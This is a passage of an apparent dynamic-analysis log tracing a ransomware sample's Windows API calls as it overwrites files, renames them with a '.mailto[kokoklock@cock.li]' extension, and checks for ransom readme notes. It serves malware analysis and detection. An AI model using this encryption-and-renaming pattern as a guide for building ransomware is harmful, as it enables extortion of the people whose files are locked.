Seed=0x1dabf6fc) returned 0xf1ac24f5 [0076.087] RtlRandom (in: Seed=0x1dabf6fc | out: Seed=0x1dabf6fc) returned 0x7219761a [0076.087] RtlRandom (in: Seed=0x1dabf6fc | out: Seed=0x1dabf6fc) returned 0xd43aa0b0 [0076.087] RtlRandom (in: Seed=0x1dabf6fc | out: Seed=0x1dabf6fc) returned 0xc28613d3 [0076.098] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0076.098] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478bc0) returned 1 [0076.098] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda60 [0076.098] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0076.098] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478b48 [0076.098] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478b48) returned 1 [0076.098] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0076.098] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0076.098] ReadFile (in: hFile=0x9ec, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0xa33, lpNumberOfBytesRead=0x1dabf6f0, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1dabf6f0*=0xa33, lpOverlapped=0x0) returned 1 [0076.098] SetFilePointerEx (in: hFile=0x9ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1dabf6b8 | out: lpNewFilePointer=0x0) returned 1 [0076.099] WriteFile (in: hFile=0x9ec, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0xa33, lpNumberOfBytesWritten=0x1dabf6ec, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1dabf6ec*=0xa33, lpOverlapped=0x0) returned 1 [0076.099] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478a80 [0076.099] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478aa8 [0076.099] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478aa8) returned 1 [0076.099] WriteFile (in: hFile=0x9ec, lpBuffer=0x3478a80*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1dabf6e8, lpOverlapped=0x0 | out: lpBuffer=0x3478a80*, lpNumberOfBytesWritten=0x1dabf6e8*=0x20, lpOverlapped=0x0) returned 1 [0076.099] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478a80) returned 1 [0076.099] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0076.099] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0076.099] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0076.099] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0076.099] WriteFile (in: hFile=0x9ec, lpBuffer=0x3478a58*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1dabf714, lpOverlapped=0x0 | out: lpBuffer=0x3478a58*, lpNumberOfBytesWritten=0x1dabf714*=0x8, lpOverlapped=0x0) returned 1 [0076.099] WriteFile (in: hFile=0x9ec, lpBuffer=0x1dabf72c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1dabf714, lpOverlapped=0x0 | out: lpBuffer=0x1dabf72c*, lpNumberOfBytesWritten=0x1dabf714*=0x4, lpOverlapped=0x0) returned 1 [0076.099] WriteFile (in: hFile=0x9ec, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1dabf714, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1dabf714*=0x4, lpOverlapped=0x0) returned 1 [0076.099] WriteFile (in: hFile=0x9ec, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1dabf714, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1dabf714*=0x6c, lpOverlapped=0x0) returned 1 [0076.099] WriteFile (in: hFile=0x9ec, lpBuffer=0x3478c88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1dabf714, lpOverlapped=0x0 | out: lpBuffer=0x3478c88*, lpNumberOfBytesWritten=0x1dabf714*=0x20, lpOverlapped=0x0) returned 1 [0076.099] WriteFile (in: hFile=0x9ec, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1dabf714, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1dabf714*=0x4, lpOverlapped=0x0) returned 1 [0076.100] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478c88) returned 1 [0076.100] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478a30) returned 1 [0076.100] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478a58) returned 1 [0076.100] CloseHandle (hObject=0x9ec) returned 1 [0076.100] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x96) returned 0x33eb450 [0076.100] wcscpy (in: _Dest=0x33eb450, _Source="C:\\Windows10Upgrade\\resources\\ux\\logo.png" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\logo.png") returned="C:\\Windows10Upgrade\\resources\\ux\\logo.png" [0076.100] wcscat (in: _Dest=0x33eb450, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\logo.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\logo.png.mailto[kokoklock@cock.li].d0e731" [0076.100] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\logo.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\logo.png"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\logo.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\logo.png.mailto[kokoklock@cock.li].d0e731")) returned 1 [0076.100] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\logo.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0076.101] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eb450) returned 1 [0076.101] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\logo.png", dwFileAttributes=0x20) returned 0 [0076.101] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x68) returned 0x347dd90 [0076.101] wcscpy (in: _Dest=0x347dd90, _Source="C:\\Windows10Upgrade\\resources\\ux\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0076.101] wcscat (in: _Dest=0x347dd90, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\D0E731-Readme.txt" [0076.101] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\d0e731-readme.txt")) returned 0x20 [0076.101] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347dd90) returned 1 [0076.101] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480300) returned 1 [0076.101] RtlExitUserThread (Status=0x1) Thread: id = 795 os_tid = 0x13a8 [0076.103] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\marketing.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\marketing.png")) returned 0x20 [0076.103] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\marketing.png", dwFileAttributes=0x20) returned 1 [0076.103] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\marketing.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\marketing.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9ec [0076.103] GetFileSizeEx (in: hFile=0x9ec, lpFileSize=0x1db3fa60 | out: lpFileSize=0x1db3fa60*=493) returned 1 [0076.103] SetFilePointerEx (in: hFile=0x9ec, liDistanceToMove=0x1e9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.103] ReadFile (in: hFile=0x9ec, lpBuffer=0x1db3fa34, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1db3fa30, lpOverlapped=0x0 | out: lpBuffer=0x1db3fa34*, lpNumberOfBytesRead=0x1db3fa30*=0x4, lpOverlapped=0x0) returned 1 [0076.104] SetFilePointerEx (in: hFile=0x9ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.104] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478bc0 [0076.105] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478c88 [0076.105] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478a30 [0076.105] NtQuerySystemTime (in: CurrentTime=0x1db3fa0c | out: CurrentTime=0x1db3fa0c*=132121176340033925) returned 0x0 [0076.105] RtlRandom (in: Seed=0x1db3fa18 | out: Seed=0x1db3fa18) returned 0xfd80f83c [0076.105] RtlRandom (in: Seed=0x1db3fa18 | out: Seed=0x1db3fa18) returned 0x909f4445 [0076.105] RtlRandom (in: Seed=0x1db3fa18 | out: Seed=0x1db3fa18) returned 0x51cc289 [0076.105] RtlRandom (in: Seed=0x1db3fa18 | out: Seed=0x1db3fa18) returned 0x36f0cef8 [0076.105] RtlRandom (in: Seed=0x1db3fa18 | out: Seed=0x1db3fa18) returned 0xa547b2b6 [0076.105] RtlRandom (in: Seed=0x1db3fa18 | out: Seed=0x1db3fa18) returned 0x3f7d2023 [0076.105] RtlRandom (in: Seed=0x1db3fa18 | out: Seed=0x1db3fa18) returned 0x9b6b91c1 [0076.105] RtlRandom (in: Seed=0x1db3fa18 | out: Seed=0x1db3fa18) returned 0xa9078ae7 [0076.105] RtlRandom (in: Seed=0x1db3fa18 | out: Seed=0x1db3fa18) returned 0xb022e54f [0076.105] RtlRandom (in: Seed=0x1db3fa18 | out: Seed=0x1db3fa18) returned 0x423b2cee [0076.105] RtlRandom (in: Seed=0x1db3fa18 | out: Seed=0x1db3fa18) returned 0x752ad486 [0076.105] RtlRandom (in: Seed=0x1db3fa18 | out: Seed=0x1db3fa18) returned 0xffb4c0cd [0076.105] RtlRandom (in: Seed=0x1db3fa18 | out: Seed=0x1db3fa18) returned 0x9ecb44d8 [0076.105] RtlRandom (in: Seed=0x1db3fa18 | out: Seed=0x1db3fa18) returned 0x1964d1ae [0076.105] RtlRandom (in: Seed=0x1db3fa18 | out: Seed=0x1db3fa18) returned 0x9f282c0d [0076.105] RtlRandom (in: Seed=0x1db3fa18 | out: Seed=0x1db3fa18) returned 0xb9c65c15 [0076.105] RtlRandom (in: Seed=0x1db3fa18 | out: Seed=0x1db3fa18) returned 0xff6296d6 [0076.105] RtlRandom (in: Seed=0x1db3fa18 | out: Seed=0x1db3fa18) returned 0x3dd6d58b [0076.105] RtlRandom (in: Seed=0x1db3fa18 | out: Seed=0x1db3fa18) returned 0xcdc8bb42 [0076.105] RtlRandom (in: Seed=0x1db3fa18 | out: Seed=0x1db3fa18) returned 0x492ea6f2 [0076.105] RtlRandom (in: Seed=0x1db3fa18 | out: Seed=0x1db3fa18) returned 0x4214675e [0076.105] RtlRandom (in: Seed=0x1db3fa18 | out: Seed=0x1db3fa18) returned 0x38bcde28 [0076.105] RtlRandom (in: Seed=0x1db3fa18 | out: Seed=0x1db3fa18) returned 0x67f14ab8 [0076.105] RtlRandom (in: Seed=0x1db3fa18 | out: Seed=0x1db3fa18) returned 0x278467e4 [0076.105] RtlRandom (in: Seed=0x1db3fa18 | out: Seed=0x1db3fa18) returned 0xc830120d [0076.105] RtlRandom (in: Seed=0x1db3fa18 | out: Seed=0x1db3fa18) returned 0xcda54324 [0076.105] RtlRandom (in: Seed=0x1db3fa18 | out: Seed=0x1db3fa18) returned 0xf098493a [0076.105] RtlRandom (in: Seed=0x1db3fa18 | out: Seed=0x1db3fa18) returned 0xd0a82225 [0076.105] RtlRandom (in: Seed=0x1db3fa18 | out: Seed=0x1db3fa18) returned 0xe105c509 [0076.105] RtlRandom (in: Seed=0x1db3fa18 | out: Seed=0x1db3fa18) returned 0x8fd60860 [0076.105] RtlRandom (in: Seed=0x1db3fa18 | out: Seed=0x1db3fa18) returned 0x47eaf927 [0076.105] RtlRandom (in: Seed=0x1db3fa18 | out: Seed=0x1db3fa18) returned 0x1a74b798 [0076.116] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0076.116] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478bc0) returned 1 [0076.116] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda60 [0076.116] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0076.116] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478b48 [0076.116] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478b48) returned 1 [0076.116] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0076.116] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0076.116] ReadFile (in: hFile=0x9ec, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x1ed, lpNumberOfBytesRead=0x1db3fa0c, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1db3fa0c*=0x1ed, lpOverlapped=0x0) returned 1 [0076.116] SetFilePointerEx (in: hFile=0x9ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1db3f9d4 | out: lpNewFilePointer=0x0) returned 1 [0076.116] WriteFile (in: hFile=0x9ec, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x1ed, lpNumberOfBytesWritten=0x1db3fa08, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1db3fa08*=0x1ed, lpOverlapped=0x0) returned 1 [0076.117] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478aa8 [0076.117] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478ad0 [0076.117] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478ad0) returned 1 [0076.117] WriteFile (in: hFile=0x9ec, lpBuffer=0x3478aa8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1db3fa04, lpOverlapped=0x0 | out: lpBuffer=0x3478aa8*, lpNumberOfBytesWritten=0x1db3fa04*=0x20, lpOverlapped=0x0) returned 1 [0076.117] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478aa8) returned 1 [0076.117] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0076.117] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0076.117] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0076.117] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0076.117] WriteFile (in: hFile=0x9ec, lpBuffer=0x3478a80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1db3fa30, lpOverlapped=0x0 | out: lpBuffer=0x3478a80*, lpNumberOfBytesWritten=0x1db3fa30*=0x8, lpOverlapped=0x0) returned 1 [0076.117] WriteFile (in: hFile=0x9ec, lpBuffer=0x1db3fa48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1db3fa30, lpOverlapped=0x0 | out: lpBuffer=0x1db3fa48*, lpNumberOfBytesWritten=0x1db3fa30*=0x4, lpOverlapped=0x0) returned 1 [0076.117] WriteFile (in: hFile=0x9ec, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1db3fa30, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1db3fa30*=0x4, lpOverlapped=0x0) returned 1 [0076.117] WriteFile (in: hFile=0x9ec, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1db3fa30, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1db3fa30*=0x6c, lpOverlapped=0x0) returned 1 [0076.118] WriteFile (in: hFile=0x9ec, lpBuffer=0x3478c88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1db3fa30, lpOverlapped=0x0 | out: lpBuffer=0x3478c88*, lpNumberOfBytesWritten=0x1db3fa30*=0x20, lpOverlapped=0x0) returned 1 [0076.118] WriteFile (in: hFile=0x9ec, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1db3fa30, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1db3fa30*=0x4, lpOverlapped=0x0) returned 1 [0076.118] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478c88) returned 1 [0076.118] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478a58) returned 1 [0076.119] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478a80) returned 1 [0076.119] CloseHandle (hObject=0x9ec) returned 1 [0076.119] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa0) returned 0x33e69c0 [0076.119] wcscpy (in: _Dest=0x33e69c0, _Source="C:\\Windows10Upgrade\\resources\\ux\\marketing.png" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\marketing.png") returned="C:\\Windows10Upgrade\\resources\\ux\\marketing.png" [0076.119] wcscat (in: _Dest=0x33e69c0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\marketing.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\marketing.png.mailto[kokoklock@cock.li].d0e731" [0076.119] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\marketing.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\marketing.png"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\marketing.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\marketing.png.mailto[kokoklock@cock.li].d0e731")) returned 1 [0076.119] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\marketing.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0076.120] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e69c0) returned 1 [0076.120] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\marketing.png", dwFileAttributes=0x20) returned 0 [0076.120] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x68) returned 0x347dd90 [0076.120] wcscpy (in: _Dest=0x347dd90, _Source="C:\\Windows10Upgrade\\resources\\ux\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0076.120] wcscat (in: _Dest=0x347dd90, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\D0E731-Readme.txt" [0076.120] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\d0e731-readme.txt")) returned 0x20 [0076.120] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347dd90) returned 1 [0076.120] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427618) returned 1 [0076.120] RtlExitUserThread (Status=0x1) Thread: id = 796 os_tid = 0x13ac [0076.121] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x66) returned 0x347da80 [0076.121] wcscpy (in: _Dest=0x347da80, _Source="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS" [0076.121] wcscat (in: _Dest=0x347da80, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\" [0076.121] wcscat (in: _Dest=0x347da80, _Source="*" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\*") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\*" [0076.121] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f45e8 [0076.121] FindFirstFileW (in: lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\*", lpFindFileData=0x33f45e8 | out: lpFindFileData=0x33f45e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea60a72c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea60a72c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea6143a6, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0558 [0076.122] wcscmp (_String1=".", _String2=".") returned 0 [0076.122] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x33f45e8 | out: lpFindFileData=0x33f45e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea60a72c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea60a72c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea6143a6, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.122] wcscmp (_String1="..", _String2=".") returned 1 [0076.122] wcscmp (_String1="..", _String2="..") returned 0 [0076.122] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x33f45e8 | out: lpFindFileData=0x33f45e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea60a72c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea6143a6, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea6143a6, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0076.122] wcscmp (_String1="css", _String2=".") returned 1 [0076.122] wcscmp (_String1="css", _String2="..") returned 1 [0076.122] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x347a000 [0076.122] wcscpy (in: _Dest=0x347a000, _Source="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS" [0076.122] wcscat (in: _Dest=0x347a000, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\" [0076.122] wcscat (in: _Dest=0x347a000, _Source="css" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css" [0076.612] Sleep (dwMilliseconds=0x1) [0076.622] Sleep (dwMilliseconds=0x1) [0077.709] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x347a000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9e8 [0077.710] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x33f45e8 | out: lpFindFileData=0x33f45e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea6143a6, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea61ff59, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea61ff59, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0077.710] wcscmp (_String1="js", _String2=".") returned 1 [0077.710] wcscmp (_String1="js", _String2="..") returned 1 [0077.710] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x68) returned 0x347e340 [0077.710] wcscpy (in: _Dest=0x347e340, _Source="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS" [0077.710] wcscat (in: _Dest=0x347e340, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\" [0077.710] wcscat (in: _Dest=0x347e340, _Source="js" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js" [0077.710] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x347e340, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x758 [0077.711] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x33f45e8 | out: lpFindFileData=0x33f45e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea6143a6, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea61ff59, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea61ff59, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0077.711] FindClose (in: hFindFile=0x33e0558 | out: hFindFile=0x33e0558) returned 1 [0077.711] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f45e8) returned 1 [0077.711] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347da80) returned 1 [0077.711] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347dd20) returned 1 [0077.711] RtlExitUserThread (Status=0x0) Thread: id = 797 os_tid = 0x13b4 [0076.122] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\NetworkIssueFAQ.mht" (normalized: "c:\\windows10upgrade\\resources\\ux\\networkissuefaq.mht")) returned 0x20 [0076.123] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\NetworkIssueFAQ.mht", dwFileAttributes=0x20) returned 1 [0076.123] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\NetworkIssueFAQ.mht" (normalized: "c:\\windows10upgrade\\resources\\ux\\networkissuefaq.mht"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9f0 [0076.124] GetFileSizeEx (in: hFile=0x9f0, lpFileSize=0x1dc3fd5c | out: lpFileSize=0x1dc3fd5c*=622093) returned 1 [0076.124] SetFilePointerEx (in: hFile=0x9f0, liDistanceToMove=0x97e09, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.124] ReadFile (in: hFile=0x9f0, 